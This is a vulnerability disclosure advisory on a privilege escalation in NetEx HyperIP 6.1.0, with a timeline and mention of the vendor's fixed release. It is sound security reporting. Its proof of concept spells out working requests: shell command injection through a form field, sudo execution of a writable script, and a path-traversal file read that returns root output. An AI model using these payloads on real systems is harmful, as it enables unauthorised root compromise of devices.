KL-001-2018-004 : NetEx HyperIP Privilege Escalation Vulnerability
Title: NetEx HyperIP Privilege Escalation Vulnerability
Advisory ID: KL-001-2018-004
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-004.txt
1. Vulnerability Details
Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-592: Authentication Bypass Issues
Impact: Privilege Escalation
Attack vector: HTTPS
2. Vulnerability Description
Privileges can be escalated by abusing writable paths found
within the sudoers configuration file.
3. Technical Description
The run script is modified with the attack payload.
POST /hypmisc.php HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
set_id=msglvl&set_val=$(echo /usr/bin/id >> /var/ftp/pub/updates/a.run)&perm=on&submit=Set
HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 07:21:38 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1048
Connection: close
Content-Type: text/html; charset=UTF-8
The attack payload can now be executed.
POST /hypmisc.php HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
set_id=msglvl&set_val=$(sudo /var/ftp/pub/updates/a.run >> /tmp/a.output)&perm=on&submit=Set
HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 13:06:55 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1020
Connection: close
Content-Type: text/html; charset=UTF-8
The output can now be read from the a.output file, which is a
separate arbitrary file read issue detailed in KL-001-2018-005.
GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 13:07:51 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 502
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<head>
<meta HTTP-EQUIV="Expires" CONTENT="0">
<link REL="stylesheet" HREF="bdstyles.css" TYPE="text/css">
</head>
<body class="dsp">
<H1>Show System Log <font size=2>[ Monday @ 08:07:51 ]</font></H1>
<pre>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
</pre>
</body>
</html>
4. Mitigation and Remediation Recommendation
The vendor has released version 6.1.1 of HyperIP, which they state
addresses this vulnerability.
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2017.07.24 - KoreLogic submits vulnerability details to NetEx.
2017.07.24 - NetEx confirms receipt.
2017.08.16 - NetEx informs KoreLogic that this and other reported
vulnerabilities have been addressed in the forthcoming
release. ETA as of yet undetermined.
2017.09.05 - 30 business days have elapsed since the vulnerability
was reported to NetEx.
2017.09.19 - NetEx informs KoreLogic that the forthcoming release
6.1.1 is expected to ship at the end of January 2018.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to NetEx.
2017.12.01 - 90 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.17 - 120 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
has gone live.
2018.02.08 - KoreLogic public disclosure.
7. Proof of Concept
See 3. Technical Description.
The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
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